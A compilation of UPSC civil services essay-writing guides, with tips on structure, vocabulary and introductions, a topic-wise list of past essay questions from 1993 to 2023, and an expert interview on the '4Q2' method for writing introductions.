It can be easily said that many UPSC exam aspirants overlook the importance of preparing their writings well. A majority of novices mistakenly feel they can write the perfect content on their exam day, while the repeaters equate the knowledge gained through their General studies preparation to successful writing. In both cases, writing practice is left unconsidered.

UPSC essay paper carries a total of 250 marks comprising 2 essays in total (125 marks each). Leaving behind writing a good content of 1000 to 1200 words to mere chance is a grave error.

Do not worry, we have you covered!

Check out These Tried and Tested Tips to Write Essay for UPSC

Our experts understand the significance of converting your gained knowledge conceptually into well put-down words. Therefore, we have compiled a list of 9 superb essay writing tips that’ll help you prepare the right way:

Right Knowledge

To write an astounding essay for UPSC, you must first possess the correct knowledge.

UPSC essay syllabus is not your regular school or college question. Here, along with your knowledge of a topic, your ability to produce it sequentially, consistently and with precision is given equal importance.

So, how do you gain the knowledge to do that?

Undoubtedly, the content will come from your general studies preparation.

Besides this, you must regularly read magazines like Economic and Political weekly, Yojana, etc. These magazines will not only help you revise your GS content but will also give you good ideas regarding the content presentation.

You must also try reading non-fiction occasionally; it’s a great way to grow your thought process and learn how to represent them powerfully through words.

Also Read: What is the Difference Between the Indian Forest Service and Indian Foreign Service?

Avoid Unnecessary Jargon

You must keep the language of your UPSC essay paper simple. The exam tests your vocabulary too, agreed, but avoid using complex words just to sound well-read.

Instead, concentrate on writing clear, concise and meaningful sentences that put your point across. It is best to avoid redundant sentences. A common mistake made by many is writing lengthy sentences. It’s best to put down small and simple sentences rather than elaborate ones that will make the reader lose out on the crux of your point.

Keep up the Good Vocabulary

As mentioned above, a good vocabulary showcases how well-read you are. This doesn’t mean you use it incessantly. But, a strong word can add value to your sentences when used the right way.

We know that you can’t read up an entire dictionary in a week. And we do not expect you to do so too.

The best way to build up a strong vocabulary is by reading the newspaper daily. Even reading non-fiction can be of great help here. What you must do is write down the words, phrases and quotes that seem unique alongside their meanings. Writing an example sentence along with it will also help you retain it in your memory longer.

Create Intelligent and Worldly-Wise Subheadings

The subheading is the entire body copy at a glance. Representing a paragraph with a catchy, smart and content-aligned subheading can get you major points in an essay for the UPSC exam. It raises the interest of the examiner and also aids readability.

Keep your Paragraphs Coherent to Each Other

When writing a long essay for UPSC of 1000-1200 words, it’s quite easy to end up losing out on the main message you want to convey.

To ensure that you deliver the desired message, it is crucial to present your sentences/ paragraphs in an organized and sequential manner.

Practice is essential if you want to deliver a write-up that showcases your well-connected thinking ability. You can end a paragraph with a question, or an introduction to the next paragraph. This will help you maintain a smooth connection between your subtopics.

Let’s take a look at two sample paragraphs for the topic taken from some essay book for UPSC – “women, gender inequality and the Indian economy,”

The practice of men handling major financial decisions and managing the family’s income in India’s traditional patriarchal society is another reason for the sad state of women’s dependence on men. Such practices hinder potential women equality in economic development.

Similar practice in higher echelons of the corporate sector where women are obstructed in entering powerful positions by way of glass-ceiling is a continuation of such patriarchal ideologies.

Notice how the sentences actually tell and take forward the message in a sequence respectively.

Giving an outro and intro to your paragraphs is a great way of establishing a connection and sequence between the two.

The Introduction Should Ideally be a Relatable Quote or an Event

Starting your GS answers with a definition is the right thing to do, but doing so in essays just makes it stale and boring.

You must try to up the examiner’s interest by quoting a famous personality, an interesting quote, or a relatable real-life/fictional event.

Books, magazines and newspapers will help you learn essay-worthy anecdotes and incidents.

Let’s Take the Same topic as above

Starting with a definition

“In simple terms, Gender Inequality can be defined as the unequal treatment of individuals because of their gender.”

Starting with an interesting fictional event/ story

“Let me take you to a modest two-room house in a remote village in India. Rupa is crying in a corner of her room. Her father wouldn’t allow her to go to her primary school anymore. Her brother has already left for today’s class, but Rupa has chores to finish around the house. Father says it’s not important for girls to study.”

The contrast between the two is stark and clearly the latter reads more interesting to the reader.

Create Your Essay’s Content as per the Topic

One way of writing for a particular topic might not necessarily work for the other. To completely understand how to write an essay, you must first understand the nature of your topic and then decide how you want to tackle it down further.

For example, the topics presented as a question are best written in the problem and solution pattern.

Back-up Your Arguments with Substantial Reasons

To add value to your essay for UPSC, it is a must to include constitutional provisions, examples, statistics and expert opinions.

Let’s say, in an essay on “women, gender inequality and the Indian economy,” it is not enough to state that: –

“Gender inequality is predominant in the education sector in India. The bridge between the enrolment ratio of men and women has widened. The drop-out rates of girls are alarmingly more than boys, which adds to the gender gap prevalent in our society.”

Agreed, the points made are valid, but substantiating them with required facts is important to add value to it.

So, adding a fact like below will back up your opinions and fetch you more marks.

“at higher education level, the GER for males is approximately 19 %, while for females, it is merely 15-16% approximately (as per 12th five-year plan.)”

Write a Powerful Conclusion

You must always summarise your essay on an optimistic note in 3-4 lines. It is advisable to not skip on giving your vision for the future.

Important Topics for UPSC CSE Essay Syllabus

There are certain topics that have a higher possibility of being included. These are: –

Rural Empowerment
Women Empowerment
Internal Security
Social Justice

Although highly suggested, please do not limit yourself to the above strictly. you can use these topics for preparing a model essay.

Also Read: A Detailed Guide to Choosing the Best Optional Subject for UPSC Exam

Let’s Take a Look at Some Good Questions from Previous UPSC Essay Paper:

Science and Mysticism: Are they compatible?
Creation of smaller states and the consequent administrative, economic and developmental implications
Does Indian cinema shape our popular culture or merely reflect it?
Is the criticism that the ‘Public-Private-Partnership’ (PPP) model for development is more of a bane than a boon in the Indian context, justified?

Conclusion:

To conclude, keep your essays expansive yet meaningful and relevant to the topic, you can refer to different essay books for UPSC for this purpose. You must try not to steer away from what is asked. And finally, when preparing for essay writing for UPSC, keep up the daily reading, and do not forget, “practice makes perfect.”

Very nicely guided

This guide was actually helpful and is providing a structured image of how to write the essay paper, as you know may students are suffering from stress, can you also provide some tips on that?

About the Author

Greeta sulochana.

Greeta Sulochana is a content evangelist with a flair for compelling creative writing. She has penned down her thoughts in poetry and prose since the past five years, and has catered her skills to the Indian and international audiences. She started out as an advertising intern with Grey worldwide, and is now a full-fledged writer in passion and profession, who has worked for major national brands.

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UPSC Essay Topic wise Question Papers of last 31 years (1993-2023) for Civil Services IAS/IPS Exam Free Download

In the UPSC mains examination, essay paper is worth 250 marks and three hours. Here is the topic wise questions from the earlier years for the benefit of civil service IAS IPS aspirants.

1.1 India Since Independence

1.2 federalism, decentralization, 1.3 administration, 1.4 judiciary, 1.5 poverty, social justice, 1.6 indian society, culture and values, 1.7 media, tv & cinema, literature, 2.1 growth vs development, 2.2 environment vs development, 2.4 sectors of economy, 3.1 values in education, 3.2 scheme implementation, 3.3 higher education, 4.1 character, honesty, ethics, 4.2 knowledge, 4.3 compassion, 4.4 truth and reality, 4.5 youth, discipline, 4.6 towards excellence, 5.1 @national politics, 5.2 @world / quote type, 5.3 empowerment overall, 5.4 compared to men, 6.1 globalization, 6.2 international org./ bilateral, 6.3 security, 6.4 history, 7.1 science and religion, 7.2 science and education, 7.3 computer and internet, 7.4 sci-tech: others, appendix: linear paper of upsc essay 2023, appendix: linear paper of upsc essay 2022, appendix: model answer pe free lecture & powerpoint, appendix: syllabus of essay paper in upsc, 1 india: democracy, administration, society, culture.

Is the Colonial mentality hindering India’s Success? -2013
In the context of Gandhiji’s views on the matter, explore, on an evolutionary scale, the terms ‘Swadhinata’, ‘Swaraj’ and ‘Dharmarajya’. Critically comment on their contemporary relevance to Indian democracy -2012
Dreams which should not let India sleep. -2015
Why should we be proud of being Indians? -2000
Whither Indian democracy? -1995
How far has democracy in India delivered the goods? -2003
What we have not learnt during fifty years of independence. -1997
What have we gained from our democratic set-up? -2001
My vision of India in 2001 a.d. -1993
Impact of the new economic measures on fiscal ties between the union and states in India. -2017
Water disputes between States in federal India. -2016
Cooperative federalism : Myth or reality. -2016
Creation of smaller states and the consequent administrative, economic and developmental implication -2011
Evaluation of panchayati raj system in India from the point of view of eradication of power to people. -2007
Water resources should be under the control of the central government. -2004
The language problem in India: its past, present and prospects. -1998
There are better practices to “best practices”. -2021
How should a civil servant conduct himself? -2003
Politics without ethics is a disaster. -1995
The VIP cult is a bane of Indian democracy -1996
Need for transparency in public administration -1996
The country’s need for a better disaster management system. -2000
Politics, bureaucracy and business – fatal triangle. -1994
We may brave human laws but cannot resist natural laws. -2017
Justice must reach the poor -2005
Judicial activism and Indian democracy. -2004
Judicial activism. -1997
A society that has more justice is a society that needs less charity. (- जिस समाज में अधिक न्याय होता है उस समाज को दान की कम आवश्यकता होती है।) – 2023
There can be no social justice without economic prosperity but economic prosperity without social justice is meaningless (बिना आर्थिक समृद्धि के सामाजिक न्याय नहीं हो सकता, किन्तु बिना सामाजिक न्याय के आर्थिक समृद्धि निरर्थक है ) -2020
Neglect of primary health care and education in India are reasons for its backwardness. -2019
The focus of health care is increasingly getting skewed towards the ‘haves’ of our society. -2009
Food security for sustainable national development -2005
Reservation, politics and empowerment. -1999
Culture is what we are, civilization is what we have (जो हम है, वह संस्कार; जो हमारे पास है, वह सभ्यता ) -2020
Indian culture today: a myth or a reality? -2000
Modernism and our traditional socio-ethical values. -2000
The composite culture of India. -1998
The Indian society at the crossroads. -1994
From traditional Indian philanthropy to the gates-buffet model-a natural progression or a paradigm shift? -2010
New cults and godmen: a threat to traditional religion -1996
Biased media is a real threat to Indian democracy. -2019
Responsibility of media in a democracy. -2002
Role of media in good governance -2008
Does Indian cinema shape our popular culture or merely reflect it? -2011
How has satellite television brought about cultural change in Indian mindsets? -2007
Is sting operation an invasion on privacy? -2014
Mass media and cultural invasion. -1999
The misinterpretation and misuse of freedom in India. -1998
Poets are the unacknowledged legislators of the world (कवि संसार के अनधिकृत रूप से विधायक होते हैं) – 2022

2 Economy, Development

Poverty anywhere is a threat to prosperity everywhere. -2018
Digital economy: A leveller or a source of economic inequality. -2016
Innovation is the key determinant of economic growth and social welfare. -2016
Near jobless growth in India: An anomaly or an outcome of economic reforms. -2016
Crisis faced in India – moral or economic. -2015
Was it the policy paralysis or the paralysis of implementation which slowed the growth of our country? -2014
GDP (Gross Domestic Product) along with GDH (Gross Domestic Happiness) would be the right indices for judging the wellbeing of a country-2013
Can capitalism bring inclusive growth? -2015
Resource management in the Indian context. -1999
Economic growth without distributive justice is bound to breed violence. -1993
Forests are the best case studies for economic excellence (आर्थिक समृद्धि हासिल करने के मामले में वन सर्वोत्तम प्रतिमान होते हैं।) – 2022
Alternative technologies for a climate change resilient India. -2018
Should a moratorium be imposed on all fresh mining in tribal areas of the country? -2010
Urbanisation and its hazards -2008
Protection of ecology and environment is essential for sustained economic development. -2006
Urbanization is a blessing in disguise. -1997
Ecological considerations need not hamper development. -1993
Globalization would finish small-scale industries in India. -2006
Multinational corporations – saviours or saboteurs -1994
Special economic zone: boon or bane -2008
Is the criticism that the ‘Public-Private-Partnership’ (PPP) model for development is more of a bane than a boon in the Indian context, justified ?-2012
Farming has lost the ability to be a source of subsistence for majority of farmers in India. -2017
BPO boom in India. -2007
Tourism: Can this be the next big thing for India? -2014
Are our traditional handicrafts doomed to a slow death? -2009

3 Education

Education is what remains after one has forgotten what one has learned in – school. (- शिक्षा वह है जो विद्यालय में विधालय में सीखी गई बातों को भूल जाने के बाद भी शेष रह जाती है।)
Destiny of a nation is shaped in its classrooms. -2017
Education without values, as useful as it is, seems rather to make a man more clever devil-2015
Independent thinking should be encouraged right form the childhood. -2007
Are the standardized tests good measure of academic ability or progress? -2014
Irrelevance of the classroom. -2001
Is the growing level of competition good for the youth? -2014
Literacy is growing very fast, but there is no corresponding growth in education. -1996
Is an egalitarian society possible by educating the masses ? -2008
What is real education? -2005
“Education for all” campaign in India: myth or reality. -2006
Restructuring of Indian education system. -1995
Privatization of higher education in India. -2002
Credit – based higher education system – status, opportunities and challenges -2011

4 Quote based, Philosophy, Ethics

A smile is the chosen vehicle for all ambiguities (हर असमंजस के लिए मुस्कराहट ही चुनिन्दा साधन है) – 2022
Philosophy of wantlessness is a Utopian, while materialism is a chimera. -2021
Your perception of me is a reflection of you; my reaction to you is an awareness of me. -2021
Simplicity is the ultimate sophistication (सरलता चरम परिष्करण है ) -2020
Ships don’t sink because of water around them ships sink because of water that gets into them (जहाज अपने चारों तरफ के पानी के वजह से नहीं डूबा करते, जहाज पानी के अंदर समां जाने की वजह से डूबता हैं ) -2020
Life is a long journey between being human and being humane. (मनुष्य होने और मानव बनने के बीच का लम्बा सफर ही जीवन है)-2020
Values are not what humanity is, but what humanity ought to be -2019
Best for an individual is not necessarily best for the society -2019
Courage to accept and dedication to improve are two keys to success -2019
Wisdom finds truth -2019
A people that values its privileges above its principles loses both. -2018
Customary morality cannot be a guide to modem file. -2018
Need brings greed, if greed increases it spoils breed. -2016
Character of an institution is reflected in its leader. -2015
With greater power comes greater responsibility. -2014
Words are sharper than the two-edged sword. -2014
Attitude makes, habit makes character and character makes a man. -2007
He would reigns within himself and folds his passions and desires and fears is more than a king. -1993
Thinking is like a game, it does not begin unless there is an opposite team. (- सोच एक खेल की तरह है, यह तब तक शुरू नहीं होता है जब तक कि एक विपरीत टीम/पक्ष न हो।) – 2023
Mathematics is the music of reason. (- गणित ज्ञान का संगीत है।) – 2023
The real is rational and the rational is real. -2021
Mindful manifesto is the catalyst to a tranquil self (विचारपरक संकल्प स्वयं के शांतचित्त रहने का उत्प्रेरक है )-2020
‘The past’ is a permanent dimension of human consciousness and values. -2018
A good life is one inspired by love and guided by knowledge. -2018
There is nothing either good or bad but thinking makes it so. -2003
Disinterested intellectual curiosity is the lifeblood of civilisation. -1995
Joy is the simplest form of gratitude. -2017
Compassion is the basic of all morality of the world -1993
Lending hands to someone is better than giving a dole. -2015
Be the change you want to see in others (Gandhi)-2013
Just because you have a choice, it does not mean that any of them has to be right (केवल इसलिए कि आपके पास विकल्प हैं, इसका यह अर्थ कदापि नहीं है कि उनमें से किसी को भी ठीक होना ही होगा) – 2022
Reality does not conform to the ideal, but confirms it. -2018
Truth is lived, not taught -1996
When money speaks, the truth is silent. -1995
Search for truth can only be a spiritual problem. -2002
The time to repair the roof is when the sun is shining (छप्पर मरम्मत करने का समय तभी होता है, जब धूप खिली हुई हो) – 2022
You cannot step twice in the same river (आप उसी नदी में दोबारा नहीं उतर सकते) – 2022
Discipline means success, anarchy means ruin -2008
Youth is a blunder, manhood a struggle, old age a regret -1994
If youth knew, if age could. -2002
Youth culture today. -1999
Fifty Golds in Olympics: Can this be a reality for India? -2014
Visionary decision-making happens at the intersection of intuition and logic. (- दूरदर्शी निर्णय तभी लिए जाते है अंतर्ज्ञान और तर्क का परस्पर मेल होता है।) – 2023
Not all who wander are lost. (- भटकने वाले सभी गुम नहीं हो जाते।) – 2023
Inspiration for creativity springs from the effort to look for the magical in the mundane (- रचनात्मकता की प्रेरणा अलौकिक ता में चमत्कार ढूंढने के प्रयास से उपजति है) – 2023
A ship in harbour is safe, but that is not what ship is for (जहाज बन्दरगाह के भीतर सुरक्षित होता है, परन्तु इसके लिए तो वह होता नहीं है) – 2022
Quick but steady wins the race. -2015
Useless life is an early death. -1994
Our deeds determine us, as much as we determine our deeds. -1995
The paths of glory lead but to the grave. -2002
The pursuit of excellence. -2001

5 Women empowerment

Greater political power alone will not improve women’s plight. -1997
Women’s reservation bill would usher in empowerment for women in India. -2006
The new emerging women power: the ground realities. -1995
Hand that rocks the cradle rules the world. -2021
If women ruled the world -2005
The hand that rocks the cradle -2005
Patriarchy is the least noticed yet the most significant structure of social inequality (पितृ-सत्ता की व्यवस्था नजर मैं बहुत काम आने के बावजूद सामाजिक विषमता की सबसे प्रभावी संरचना है) -2020
Fulfilment of ‘new woman’ in India is a myth. -2017
If development is not engendered, it is endangered. -2016
Whither women’s emancipation? -2004
Empowerment alone cannot help our women. -2001
Women empowerment: challenges and prospects. -1999
Woman is god’s best creation. -1998
Men have failed: let women take over. -1993
Managing work and home – is the Indian working woman getting a fair deal ?-2012

6 International issues, Internal Security, History

South Asian societies are woven not around the state, but around their plural cultures and plural identities. -2019
Modernisation and westernisation are not identical concepts. -1994
‘globalization’ vs. ‘nationalism’ -2009
National identity and patriotism -2008
Globalizations and its impact on Indian culture. -2004
The masks of new imperialism. -2003
As civilization advances culture declines. -2003
The implications of globalization for India. -2000
My vision of an ideal world order. -2001
India’s contribution to world wisdom. -1998
The world of the twenty-first century. -1998
Preparedness of our society for India’s global leadership role. -2010
Technology as the silent factor in international relations (अंतर्राष्ट्रीय संबंधों मैं मौन करक के रूप मैं प्रौद्योगिकी) -2020
Has the Non-Alignment Movement (NAM) lost its relevance in a multipolar world ? -2017
Restructuring of UNO reflect present realities -1996
The global order: political and economic -1993
India’s role in promoting ASEAN co-operation. -2004
Importance of Indo-US nuclear agreement -2006
Management of Indian border dispute is a complex task. -2018
In the Indian context , both human intelligence and technical intelligence are crucial in combating terrorism -2011
Are we a ‘soft’ state ? -2009
Good fences make good neighbours -2009
Is autonomy the best answer to combat balkanization? -2007
Terrorism and world peace -2005
True religion cannot be misused. -1997
History repeats itself, first as tragedy, second as farce. -2021
Geography may remain the same ; history need not. -2010

7 Science-Technology

Spirituality and scientific temper. -2003
Science and Mysticism : Are they compatible ?-2012
What is research, but a blind date with knowledge! -2021
Modern technological education and human values. -2002
Value-based science and education. -1999
The march of science and the erosion of human values. -2001
The process of self-discovery has now been technologically outsourced. -2021
Rise of Artificial Intelligence: the threat of jobless future or better job opportunities through reskilling and upskilling. -2019
‘Social media’ is inherently a selfish medium. -2017
Cyberspace and Internet : Blessing or curse to the human civilization in the long run -2016
Increasing computerization would lead to the creation of a dehumanized society. -2006
The cyberworld: its charms and challenges. -2000
Computer: the harbinger of silent revolution. -1993
Technology cannot replace manpower. -2015
Science and technology is the panacea for the growth and security of the nation-2013
The modern doctor and his patients. -1997
The lure of space. -2004

Section-A (write any one)

Thinking is like a game, it does not begin unless there is an opposite team. (- सोच एक खेल की तरह है, यह तब तक शुरू नहीं होता है जब तक कि एक विपरीत टीम/पक्ष न हो।)
Visionary decision-making happens at the intersection of intuition and logic. (- दूरदर्शी निर्णय तभी लिए जाते है अंतर्ज्ञान और तर्क का परस्पर मेल होता है।)
Not all who wander are lost. (- भटकने वाले सभी गुम नहीं हो जाते।)
Inspiration for creativity springs from the effort to look for the magical in the mundane (- रचनात्मकता की प्रेरणा अलौकिक ता में चमत्कार ढूंढने के प्रयास से उपजति है)

Section-B (write any one)

Girls are weighed down by restrictions, boys with demands – two equally harmful disciplines. (-लड़कियां बंदिशों के तथा लड़के अपेक्षा के बोझ तले दबे हुए होते हैं दोनों ही समान रूप से हानिकारक व्यवस्थाएं हैं।)
Mathematics is the music of reason. (- गणित ज्ञान का संगीत है।)
A society that has more justice is a society that needs less charity. (- जिस समाज में अधिक न्याय होता है उस समाज को दान की कम आवश्यकता होती है।)

Answer one-one essay from each section in 1000-1200 words

History is a series of victories won by the scientific man over the romantic man (इतिहास वैज्ञानिक मनुष्य के रूमानी मनुष्य पर विजय हासिल करने का एक सिलसिला है।) – 2022
A ship in harbour is safe, but that is not what ship is for (जहाज बन्दरगाह के भीतर सुरक्षित होता है, परन्तु इसके लिए तो वह होता नहीं है) & 2022
Just because you have a choice, it does not mean that any of them has to be right (केवल इसलिए कि आपके पास विकल्प हैं, इसका यह अर्थ कदापि नहीं है कि उनमें से किसी को भी ठीक होना ही होगा) – 2022

Year	Lectures	Powerpoint
2023	Free Lecture:	Free Powerpoint:
2022	Free Lecture:	Free Powerpoint:

Essay: Candidates may be required to write essays on multiple topics. They will be expected to keep closely to the subject of the essay to arrange their ideas in orderly fashion, and to write concisely. Credit will be given for effective and exact expression.

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UPSC Essays Simplified: How to write an introduction? – the fourth step

Introductions in essays are the first impression you will make on the examiner. but how to write an 'impressive' introduction in a good essay our expert has some tips. don't miss the essay exercise towards the end of the article..

UPSC Mains 2024 season has begun. One of the most popular questions in the aspirants’ minds for the mains preparation is: How to write essays for UPSC Civil Services Exams? We have an answer for you in the form of our new series.

In UPSC Essentials’ special series UPSC Essays Simplified , we take you through various steps of writing a good essay. While there is no set formula or fixed criteria prescribed, Manas Srivastava talks to Ravi Kapoor , our expert, in this new series who guides the aspirants with a simplified framework on how to write a good essay. Don’t miss ‘The Essay Exercise’ towards the end of the article.

Ravi Kapoor focuses on the following steps of pre-writing and writing stages which will help aspirants to write a ‘good essay’.

	(Previous article: )
	(Previous article: )
	(Previous article: )

Today, we will focus on Step 4, the first stage of writing stage for UPSC Essays.

About our Expert: Ravi Kapoor IRS (R) , has now ditched his coveted rank of deputy commissioner and has offered free quality mentorship to UPSC aspirants, drawing upon his ten years of experience to create customised and productive curriculum. Through a free mentorship programme, he integrates tailored educational materials, psychological principles, visual learning techniques, and a strong emphasis on mental well-being into his teaching skills granting aspirants a chance to learn from his expertise.

Why is a ‘good’ introduction very crucial for a ‘good’ UPSC Essay?

Ravi Kapoor: Introductions are the first impression you will make on the examiner. First impressions are not only the last impression but inform how we form judgments about the source of the object .

This is true for your essays as well. The introduction is the initial portion of your answer or an essay consisting of the first few sentences which the examiner will read before judging your answers.

Introduction sets expectations for the rest of the essay . Often, these expectations are maintained over time. So, your introduction is the opportunity to convince the examiner that your essays are superior – an expectation which the examiner will carry throughout the time your answer sheets are being judged.

How to write a good introduction for UPSC Essays?

To answer this question, let’s rephrase it:

What not to do while writing introductions?

1. Do not mention the conclusions of your essay in the introduction itself .

It is a fatal mistake to declare your conclusion at the beginning of your essay-answer. It shows a lack of foresight and does not make the reader want to read further. Moreover, you may realize while writing that you do not completely agree with your initial thoughts about the topic. It will be impossible to change the entire essay at a later stage since this is a timed paper-and-pen test.

2. Do not take a final stand about the topic at the beginning of the Essay

It follows from the point above that your opinion about the topic should be reserved for later in the Essay. Don’t simply agree with the Essay topic or disagree with it in the introduction. Take the reader through all the arguments and examples which lead to your conclusion. Declaring a one-sided opinion at the beginning of the essay will force you into a corner later.

What is an ‘impressive’ introduction for UPSC Essays?

A ‘good’ or an ‘impressive’ introduction must:

1. get to the heart of the issue in the Question. This means that you should avoid being indirect and Introduce the core issue of the question in clear language in the introduction itself. Tell the examiner that you have understood the core of the issue and will use the main body of the Essay to analyze the issue logically.

2. engage the reader without being ambiguous. This means that the introduction should arouse the interest of the examiner , but this does not mean creating suspense or mystery . Remember that the essay-answers should be logical, clear, and concise.

3. summaries the main approach of the Essay. Your main approach can be analytical or expressive. In the UPSC exam, your essays should always be analytical. The approach also means giving the examiner a sense of the structure of your answer.

4. tell the examiner what to expect if they read further. Your introduction should give glimpses into the main arguments . Tell the examiner that you have examined the pros and cons of the Essay topic and have arrived at a perfect understanding of the issues involved.

What may be the various types of introductions that can help in a good start of an UPSC essay?

1. With a hook: A hook is an unusual start which grabs the attention of the reader. For UPSC type essays, hooks can be an anecdote, quote, poem or anything creative which gets to the heart of the debate you are trying to address.

However, effective hooks are rare, and are NOT recommended for beginners and should only be used by experienced writers who can pull them off. Remember that the UPSC is a competitive exam and not a test of creative writing.

2. Without a hook: A simple but effective introduction that sets the tone for the rest of the essay. It defines the core concepts (see previous articles on deconstruction of core concepts) and creates a solid structure for the upcoming arguments ( see previous article on creating a good structure and flow )

How to form impactful and impressive introductions?

Having brainstormed 12-15 keywords about the core concepts in an essay ( see previous article on brainstorming and ideation of core concepts), we can now use the 4Q2 technique to produce an impactful introductions for your answer-essays.

Consider the essay topic:

Can capitalism bring inclusive growth

Following the 4Q2 method, I answered the 4 questions in one or two lines and made sure to use the keywords from the ‘Structure and Brainstorming’ articles.

Here is a snapshot of structured brainstorming using the 12 QC on the given essay topic. The images represent the images which came to my mind when I asked the 12 questions.

Keeping these words in front of me, I tried to answer the 4Q2 questions and produced the following sentences.


1. What do you understand by ‘	Capitalism is an economic system which allows for private ownership and profit-making.	1. What do you understand by and their importance
2. What do you understand by ‘	Inclusive growth is multi-dimensional growth which includes different sections of society, all genders, and the environment.	2. What do you understand by ‘
3. What is the relationship between Capitalism and Inclusive Growth, as mentioned in the question?	At first, it seems like the relationship between Capitalism and Inclusive growth is an incompatible one and they do not usually co-exist. However, it is a rich interplay of many factors which make this relationship complex.	3. What is the relationship between the 2 core concepts as mentioned in the essay topic?
4. Why is the relationship between Capitalism and Inclusive Growth important?	A harmonious relationship between Capitalism and Inclusive growth is of vital importance to the future of human society and the Environment.	4.Why is the relationship between the core concepts important?

Finally, after combining all the 4 answers in a sequence, we can obtain the following introduction:

Capitalism is an economic system which allows for private ownership and profit-making. Inclusive growth is multi-dimensional growth which includes different sections of society, all genders, and the environment. At first, it seems like the relationship between Capitalism and Inclusive growth is an incompatible one. However, it is a rich interplay of many factors which make this relationship complex. Nevertheless, a harmonious relationship between Capitalism and Inclusive growth is of vital importance to the future of human society and the Environment.

The Essay Exercise

Try the above method for the topic ‘ Forests are the best-case studies for economic excellence’. (Approximately 150 words)

How is the 4Q2 method useful in introductions?

1. I simply reused the keywords from the brainstorming sessions and did not need to produce any new ideas.

2. The introduction is packed with a lot of meaning . It directly defines the two main terms in the Essay topic and goes to the core of the issue which is- Can Capitalism and inclusive growth co-exist?

3. The introduction mentions the relationship and speaks of the importance of the wider context .

4. The introduction consists of about 80 words which is a good proportion to allocate for introduction for a 1000-word Essay.

5. I did not need to use a fancy hook or quote in the introduction.

6. This means that you don’t really need a lot of specialized knowledge to write a good essay.

The advantage of this method is that you do not need to generate many new ideas for a question topic because most of the clues are already there in the 12-15 keywords which you have produced during structured brainstorming.

Notably, the 4Q2 is of the Mains exam including Ethics, Essay, and General Studies. Regardless of where it is applied, the 4Q2 method will yield effective and powerful introductions to all your answer-essays.

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Manas Srivastava is currently working as deputy copy editor at The Indian Express and writes for UPSC and other competitive exams related projects.

Manas Srivastava is currently working as Deputy Copy Editor with The Indian Express (digital) and majorly writes for UPSC-related projects leading a unique initiative known as UPSC Essentials. In the past, Manas has represented India at the G-20 Youth Summit in Mexico. He is a former member of the Youth Council, GOI. A two-time topper/gold medallist in History (both in graduation and post-graduation) from Delhi University, he has mentored and taught UPSC aspirants for more than four years. His diverse role in The Indian Express consists of writing, editing, anchoring/ hosting, interviewing experts, and curating and simplifying news for the benefit of students. He hosts the YouTube talk show called ‘Art and Culture with Devdutt Pattanaik’ and a LIVE series on Instagram and YouTube called ‘You Ask We Answer’.His talks on ‘How to read a newspaper’ focus on newspaper reading as an essential habit for students. His articles and videos aim at finding solutions to the general queries of students and hence he believes in being students' editor, preparing them not just for any exam but helping them to become informed citizens. This is where he makes his teaching profession meet journalism. He is also currently working on a monthly magazine for UPSC Aspirants. He is a recipient of the Dip Chand Memorial Award, the Lala Ram Mohan Prize and Prof. Papiya Ghosh Memorial Prize for academic excellence. He was also awarded the University’s Post-Graduate Scholarship for pursuing M.A. in History where he chose to specialise in Ancient India due to his keen interest in Archaeology. He has also successfully completed a Certificate course on Women’s Studies by the Women’s Studies Development Centre, DU. As a part of N.S.S in the past, Manas has worked with national and international organisations and has shown keen interest and active participation in Social Service. He has led and been a part of projects involving areas such as gender sensitisation, persons with disability, helping slum dwellers, environment, adopting our heritage programme. He has also presented a case study on ‘Psychological stress among students’ at ICSQCC- Sri Lanka. As a compere for seminars and other events he likes to keep his orating hobby alive. His interests also lie in International Relations, Governance, Social issues, Essays and poetry. ... Read More

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How to Write Essay Introductions in UPSC Exam

The movie Inglorious Basterds opens with a glorious scene. The shot doesn’t reveal much about the story or the characters, but it’s so engrossing that once you watch it, you are hooked. That scene accurately captures the importance of a great introduction to a film.

Introduction to an essay is like an opening scene to a movie. It should start strong, give a brief idea of what’s coming ahead, and make your audience wanting for more. A well-crafted introduction creates that urgency and curiosity in the minds of the readers, captivating them into reading the rest of the write-up. A splendid introduction is, therefore, a prerequisite for a splendid essay.

An effective introduction to the UPSC essay should be around 120-150 words and should meet three basic conditions:

a. It must generate interest in the reader b. It must be relevant to the question c. It must be concise

Now the question is: How do we meet these conditions and make the essay impactful? We can accomplish it in the following ways:

1. Tell a Story — It’s a fundamental psychological principle that humans are fascinated by stories. Create characters, give them fictitious names and weave a narrative relevant to the question asked. For an essay on healthcare reform in India, you can create a character from a rural village who is neglected by the PHC, misguided by the private clinics and fleeced by the local medical store. A short story on it powerfully brings out the problems of our public health sector. Similarly, for a topic such as Fifty Golds in Olympics: Can this be a reality for India? , you can introduce your essay with a short narration of India winning fifty Olympic gold medals in 2032. You can then transition to the main body discussing how to make that a reality. So, with topics where you feel that a story can accurately bring out the core theme of your essay, go ahead with this method. Just be mindful of keeping your story short and relevant.

Topic : Cyberspace is the new battlefield Introduction : It is a fine winter morning in 2025. As commuters travel to work, the metro rail crashes to a grinding halt. Concurrently, planes in the airspace lose communication with the ground control. Banks report breach of confidential data from their servers. Government websites are hacked with threatening messages splashed all across the screens. The energy and nuclear power plants control systems are infected with strange viruses. In 30 minutes, the country’s critical infrastructure collapses and within an hour, it becomes clear that the country has become a victim of a coordinated cyberattack— cyberwar. This scary scenario, confined earlier to sci-fi movies is now a potential reality. With increasing networking and interconnectedness, cyberspace is emerging as a new arena for warfare in the 21st century. How India prepares for this combat is a critical challenge of our times.

2. Narrate an Anecdote — Write about an incident or story you’ve read in the newspapers or books. Or write a historical anecdote related to the question. This is merely a variant of the fictitious story mentioned in the first category. The only difference is that, here, it’s a real-life incident. Care must be taken to ensure that you pick an incident that’s widely known. Do not write about an obscure event that the examiner might not have heard of. For instance, if there’s a question on women’s empowerment or gender justice, one can start with the Nirbhaya episode or PV Sindhu’s rise to the top of Badminton.

Topic: Be the change you wish to see Introduction: It was 1893. A bright, young lawyer was travelling first class on a train in the British colony of South Africa. During the journey, a white man objected to his presence in the compartment, despite the lawyer possessing a valid ticket. The white man insisted that ‘coloured’ men like him were supposed to ride in the third class and not in the first class. When the lawyer refused to give up his seat, he was thrown off the train. Insulted at this discrimination, the young man resolved to fight injustice with truth and non-violence. He went on to become the force of change he wished to see in the world. He was Mahatma Gandhi.

3. Mention a Startling Fact or Statistic — State a fact that pulls the reader out of comfort zone and builds curiosity about the topic.

